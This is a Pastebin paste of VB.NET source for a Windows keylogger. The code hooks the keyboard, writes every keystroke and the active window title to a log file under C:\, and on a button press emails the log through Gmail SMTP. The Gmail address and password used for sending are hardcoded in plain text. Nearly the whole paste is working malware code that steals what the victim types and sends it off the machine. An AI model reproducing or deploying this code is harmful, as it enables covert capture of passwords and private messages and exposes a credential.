Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports Microsoft.Win32
- Imports System.Net.Mail
- Imports System.Web
- Public Class Form1
- Dim WithEvents K As New Keyboard
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
- Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
- Dim strin As String = Nothing
- Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
- K.DiposeHook()
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- IO.Directory.CreateDirectory("C:\Keylogger log")
- IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Keylogged strokes" + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine + vbNewLine)
- Timer1.Start()
- K.CreateHook()
- End Sub
- Private Sub K_down(ByVal Key As String) Handles K.Down
- TextBox1.Text &= Key
- IO.File.AppendAllText("C:\Keylogger log\log.txt", Key)
- End Sub
- Private Function GetActiveWindowTitle() As String
- Dim MyStr As String
- MyStr = New String(Chr(0), 100)
- GetWindowText(GetForegroundWindow, MyStr, 100)
- MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
- Return MyStr
- End Function
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- K.DiposeHook()
- Timer1.Stop()
- End Sub
- Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim mail As New MailMessage()
- Dim SmtpServer As New SmtpClient
- Dim MsgAttachment1 As New Attachment("C:\Keylogger log\log.txt")
- SmtpServer.Credentials = New Net.NetworkCredential("dogersch@gmail.com", "trampoline")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- SmtpServer.EnableSsl = True
- SmtpServer.EnableSsl = True
- mail.To.Add("dogersch@gmail.com")
- mail.From = New MailAddress("duffalodjeem@gmail.com")
- mail.Subject = "Keylogger.log"
- mail.Body = "C:\Keylogger log\log.txt"
- mail.Attachments.Add(MsgAttachment1)
- SmtpServer.Send(mail)
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- If strin <> GetActiveWindowTitle() Then
- TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + GetActiveWindowTitle() + vbNewLine + vbNewLine
- IO.File.AppendAllText("C:\Keylogger log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
- strin = GetActiveWindowTitle()
- End If
- End Sub
- Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement